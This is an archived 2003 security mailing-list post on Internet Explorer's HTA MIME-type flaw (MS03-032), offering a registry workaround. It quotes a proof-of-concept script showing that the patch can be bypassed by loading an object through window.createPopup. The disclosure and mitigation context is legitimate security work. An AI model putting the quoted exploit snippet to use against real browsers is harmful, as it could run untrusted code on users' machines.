Changing this makes one immune. If you change this to application/htaOLD, then someone has to use application/htaOLD on you. I would suggest a very long random number/character combination or deletion. As for deletion, the contents are entirely standard and may be brought back easily. Deletion is the safest avenue. Our Network Admin asked: "Will that fully disable execution of html apps (with the extension .hta)?" Some network administrators use documents with the .hta extension. Beyond this field, I don't think anyone uses it. Regardless, yes, you may still use hta files -- just they must be identified by having a proper extension. They may not be identified by MIME Type as the bug depends on. In the vast majority of instances you will find that even with HTA files being transferred over the network, they will not depend or even use the MIME type. There may be as yet undiscovered variants of this issue which I am unaware of at this time. This fix may not protect against these variants. But, this fix does protect against this variant, so I suggest people use it. > -----Original Message----- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Sent: Saturday, September 06, 2003 4:20 PM > To: [EMAIL PROTECTED] > Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED] > Subject: BAD NEWS: Microsoft Security Bulletin MS03-032 > > > > > Bad news. > > Your patch from Drew's object data=funky.hta doesn't work: > http://www.malware.com/badnews.html <script> var oPopup = window.createPopup(); function showPopup() { oPopup.document.body.innerHTML = "<object data=ouch.php>"; oPopup.show(0,0,1,1,document.body); } showPopup() </script> - -- http://www.malware.com -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBP1zN9QkWkugjEnC3EQJSKgCdEPx/Xjmc3a6ZgCy4UeYIdvlOnGwAoMbX gmUobjF6xPcoUWiyBdJYjSf2 =vpqP -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it.
